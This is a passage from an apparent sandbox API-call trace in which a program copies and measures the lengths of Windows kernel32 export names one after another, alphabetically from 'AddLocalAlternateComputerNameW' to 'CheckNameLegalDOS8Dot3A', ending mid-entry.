[0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0129.749] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0129.749] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0129.749] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0129.749] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0129.749] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0129.749] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0129.749] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0129.749] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0129.749] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0129.749] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0129.749] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0129.749] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0129.750] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0129.750] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0129.750] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0129.750] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0129.750] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0129.750] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0129.750] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0129.750] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0129.750] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0129.750] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0129.750] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0129.750] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0129.750] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0129.750] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0129.750] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0129.750] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0129.750] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0129.750] lstrlenA (lpString="BACKUPREAD") returned 10 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0129.751] lstrlenA (lpString="BACKUPSEEK") returned 10 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0129.751] lstrlenA (lpString="BACKUPWRITE") returned 11 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0129.751] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0129.751] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0129.751] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0129.751] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0129.751] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0129.751] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0129.751] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0129.751] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0129.751] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0129.751] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0129.751] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0129.751] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0129.751] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0129.751] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0129.751] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0129.752] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0129.752] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0129.752] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0129.752] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0129.752] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0129.752] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0129.752] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0129.752] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0129.752] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0129.752] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0129.752] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0129.752] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0129.753] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0129.753] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0129.753] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0129.753] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0129.753] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0129.753] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0129.753] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0129.753] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0129.753] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0129.753] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0129.753] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0129.753] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0129.753] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0129.753] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0129.753] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0129.753] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0129.753] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0129.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0129.754] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0129.754] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0129.754] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0129.754] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0129.754] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0129.754] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0129.754] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0129.754] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0129.754] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0129.754] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0129.754] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0129.754] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0129.754] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0129.754] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0129.754] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0129.754] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0129.754] lstrlenA (lpString="BEEP") returned 4 [0129.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0129.755] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0129.755] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0129.755] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0129.755] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0129.755] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0129.755] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0129.755] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0129.755] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0129.755] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0129.755] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0129.755] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0129.755] lstrlenA (lpString="CANCELIO") returned 8 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0129.755] lstrlenA (lpString="CANCELIOEX") returned 10 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0129.755] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0129.755] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0129.755] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0129.755] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0129.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0129.756] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0129.756] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0129.756] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0129.756] lstrlenA (lpString="CHECKELEVATION") returned 14 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0129.756] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0129.756] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0129.756] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0129.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: 